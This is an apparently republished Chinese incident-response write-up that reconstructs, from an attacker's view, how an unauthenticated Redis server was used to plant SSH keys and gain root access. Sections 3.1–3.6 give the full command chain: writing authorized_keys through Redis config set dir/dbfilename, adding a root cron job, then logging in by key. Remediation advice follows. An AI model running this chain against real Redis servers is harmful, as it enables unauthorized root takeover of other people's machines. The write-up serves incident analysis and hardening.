【应急响应】redis未授权访问致远程植入挖矿脚本(攻击篇)

0 继续篇章

在上一篇【应急响应】redis未授权访问致远程植入挖矿脚本(防御篇)中,从防御的角度详细描述了应急响应以及流程。本篇继续从日志等入侵痕迹中分析,寻求突破,以一个攻击者的角度还原redis攻击,从未授权访问到写入ssh公钥直至控制整台服务器,进一步确定此次勒索事件的根本原因。

1 入侵痕迹

1.1 查看近期文件更改情况

查看最近一个月更改的文件

find -type f -mtime -30

1.2 服务器上查看可疑文件

使用root账号登录x.x.x.x,在根目录下查看ssh相关的可疑文件。

ls –al

进入ssh文件夹,查看ssh文件内容:

cd .ssh/ls –alcat authorized_keyscat authorized_keys_20170318cat authorized_keys.bak20170319

2 漏洞排查

2.1 bash漏洞扫描

从执行命令记录分析,可疑操作:测试bash远程解析命令执行漏洞的poc语句。

因此对该主机进行漏洞扫描,未发现存在bash漏洞。

2.2 redis未授权访问漏洞验证

使用redis客户端尝试连接x.x.x.x成功,且发现ssh公钥

执行服务器操作指令,获取redis以及服务器基本信息:

info

获取cat:

config get dir

设置redis备份路径(以此说明redis权限过大,具有root权限)

config set dir /root

3 攻击过程

通过结合服务器被入侵痕迹与漏洞情况进行分析,判定:主机x.x.x.x由于Redis未授权访问漏洞,造成SSH免密码登录。

为了更好地理解该主机如何被入侵至沦陷,现将模拟黑客手法还原整个攻击过程。

3.1 kali下本地生成公私钥

ssh-keygen -t rsa

3.2 公钥写入文件

(echo-e"\n\n";cat id_rsa.pub;echo-e"\n\n")>foo.txt

3.3 连接redis写入文件

cat /home/Yxiu/.ssh/foo.txt | ./redis-cli -h x.x.x.y -x set sectest20170410config set dir /root/.ssh/config get dirconfig set dbfilename"authorized_keys"save

3.4 redis客户端确认写入情况

sectest20170410写入成功

3.5 linux任务计划设置权限

有时候在利用redis写公钥后依然不能空密码登录,可能是由于authorized_keys的权限问题,可通过linux任务计划来设置权限为600

echo -e “\n\n*/1 * * * * /bin/chmod 600 ~/.ssh/authorized_keys\n\n”|redis-cli -h x.x.x.y -x set 1redis-cli -h x.x.x.y config set dir /var/spool/cron/redis-cli -h x.x.x.y config set dbfilename rootredis-cli -h x.x.x.y save

3.6 ssh公钥成功空密远程登录

root@kali:~/.ssh# ssh -i id_rsa root@x.x.x.y

4 修复建议

<1>权限设置

将redis权限设置为最小化权限,禁止使用root权限运行。区分普通用户和admin权限,普通用户将会被禁止运行某些命令,如config。

<2>端口设置

配置bind选项,限定可以连接Redis服务器的IP,修改 Redis 的默认端口6379。

<3>强口令设置

对redis设置强口令,禁止未授权访问。

原文发布于微信公众号 - 我的安全视界观(CANI_Security)

原文发表时间:2017-12-25

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏http://www.cnblogs.com

linux服务器启动报错UNEXPECTED INCONSISTENCY解决方法

内网的linux服务器给开发员用来测试以及共享文件使用,今天早上发现xshell连接不上该服务器,一开始进入系统显示reboot and select prop...

34613
来自专栏程序人生

数据的存储

这是我今年一月份在 team 内部的一次分享。介绍了主流的数据存储方案,包括:内存,文件,数据库和消息队列,以及数据序列化/反序列化的方法。很多时候,工具就在那...

3536
来自专栏黑白安全

密码的锅,Gentoo 发布 GitHub 仓库被入侵事件报告

之前我们曾报道过“Gentoo Linux 的 GitHub 仓库被入侵,意图删除所有文件”的消息,Gentoo Linux 的 Github 仓库在6月28日...

812
来自专栏Youngxj

判断网站是否被百度收录

2375
来自专栏ytkah

如何修改帝国cms文章点击量默认值和成倍增加

  我们在帝国cms发布完文章,在不点击的情况下,“点击量”默认显示为0,请问有什么方法,修改关注默认值吗?这个可以在增加信息时,“特殊属性”标签里修改点击量,...

2718
来自专栏编程坑太多

悲观锁与乐观锁

1115
来自专栏Jed的技术阶梯

Kafka 核心组件之协调器

假设某 topic 有4个分区,消费者组中只有一个消费者,那么这个消费者将消费全部 partition 中的数据。

2993
来自专栏北京马哥教育

25个常用的Linux iptables规则

一些常用的 Linux iptables 规则,请根据自己的具体需要再修改。 # 1. 删除所有现有规则 # 2. 设置默认的 chain 策略 # 3. 阻止...

3347
来自专栏北京马哥教育

linux服务器安全配置实例(一)引言

云豆贴心提醒,本文阅读时间6分钟 引言 很多企业的服务器经常遭受到攻击,出现的攻击方式有:http服务攻击、操作系统漏洞溢出攻击、sql注入攻击等。 大多服务...

3308
来自专栏逆向技术

病毒分析第一讲,分析病毒注意事项,以及简单分析主要功能

        病毒分析第一讲,分析病毒注意事项,以及简单分析主要功能 一丶认识木马和病毒的区别 木马和病毒是两个不一样的,有人会把木马认为是病毒,但其实不是 ...

1996

扫码关注云+社区